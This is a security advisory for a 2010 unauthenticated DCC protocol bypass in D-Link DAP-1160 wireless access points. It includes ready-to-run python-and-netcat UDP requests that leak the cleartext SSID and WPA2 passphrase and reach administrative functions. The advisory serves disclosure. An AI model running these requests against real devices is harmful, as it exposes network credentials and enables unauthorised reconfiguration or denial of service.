D-Link DAP-1160 Wireless Access Point DCC Protocol Security Bypass Vulnerability

Bugtraq ID:	41187
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 28 2010 12:00AM
Updated:	Jun 28 2010 12:00AM
Credit:	Cristofaro Mune
Vulnerable:	D-Link DAP-1160 1.31b01 D-Link DAP-1160 1.30b10 D-Link DAP-1160 1.20b06 D-Link DAP-1160 0
Not Vulnerable:

D-Link DAP-1160 Wireless Access Point DCC Protocol Security Bypass Vulnerability

The D-Link DAP-1160 wireless access point (WAP) is prone to a security-bypass vulnerability.

Remote attackers can exploit this issue to bypass security restrictions, access certain administrative functions, alter configuration, or trigger a denial-of-service condition.

D-Link DAP-1160 running firmware v120b06, v130b10, and v131b01 are vulnerable.

D-Link DAP-1160 Wireless Access Point DCC Protocol Security Bypass Vulnerability

An attacker can exploit this issue by using readily available network utilities.

The following example requests are available:

python -c 'print "\x05" + "\x00" * 7' | nc -u <IP_ADDR> 2003

python -c 'print "\x03" + "\x00" * 7 + "\x21\x27\x00"' | nc -o ssid.txt -u <IP_ADDR> 2003
cat ssid.txt
(cleartext SSID displayed after "21 27 xx xx" in the received datagram)

python -c 'print "\x03" + "\x00" * 7 + "\x23\x27\x00\x00\x24\x27\x00"' | nc -u -o pass.txt <IP_ADDR> 2003
cat pass.txt
(cleartext WPA2 PSK displayed after "24 27 xx xx" in the received datagram)

D-Link DAP-1160 Wireless Access Point DCC Protocol Security Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

D-Link DAP-1160 Wireless Access Point DCC Protocol Security Bypass Vulnerability

References:

• D-Link Homepage (D-Link)
  
• IS-2010-004 - D-Link DAP-1160 Unauthenticated Remote Configuration (Cristofaro Mune )